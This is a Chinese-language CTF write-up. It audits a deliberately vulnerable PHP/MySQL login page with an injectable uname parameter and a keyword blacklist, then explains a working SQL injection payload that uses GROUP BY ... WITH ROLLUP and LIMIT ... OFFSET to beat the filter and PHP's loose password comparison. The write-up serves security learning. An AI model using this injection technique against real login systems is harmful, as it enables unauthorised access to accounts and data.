题目地址
http://ctf5.shiyanbar.com/web/pcat/index.php
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
//执行一条 MySQL 查询
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
审计代码寻找有用部分
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
注入成功要满足2个条件:
mysql_num_rows($query) == 1 即查询返回的结果行数为1
$key[‘pwd’] == $_POST[‘pwd’] 即查询返回的结果与POST发送的pwd值相同
从源代码得出,注入点在uname这个位置上,$filter没有过滤掉 or
$sql=”SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]}’”;
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
对and等等进行过滤。
那么如果只让其对返回结果只取最后一行呢,自然而然的想到limit a,b这样的命令。但是“,”被过滤了。那么我们可以使用 limit a offset b
SQL查询语句中的 limit 与 offset 的区别:
limit y 分句表示: 读取 y 条数据 //limit 10,就是 从第0个开始,获取10条数据
limit x, y 分句表示: 跳过 x 条数据,读取 y 条数据 //limit 1,2 就是读取2-3条数据
limit y offset x 分句表示: 跳过 x 条数据,读取 y 条数据 //limit 2 offest 1 就是读取2-3条数据
注意初始偏移量为0
payload如下
uname=' || 1 group by pwd with rollup limit 1 offset 2 #
// uname=’ or 1 group by pwd with rollup limit 1 offset 2#
‘是对前面的’的封闭,然后利用||1将这个条件变成true,即可得出flag,
(group by是把前面的查询的内容按照pwd来分组。with rollup是统计信息的这里就是重点了,因为代码中$key[‘pwd’] == $_POST[‘pwd’]用的是双等号是弱比较。而with rollup会在查询的结果后面加上一个为空的列,所以password为空和NULL是相等的就绕过了pwd的比较)
至于为啥offset 2,这个是试出来的,其实我们根本不可能知道with rollup会总结归纳出多少条信息,offset 2能过说明正确的pwd位于第三条信息
这里要注意一点,当使用rollup的时候就不能使用order by进行排序,换句话说 rollup和order by是相互排斥的。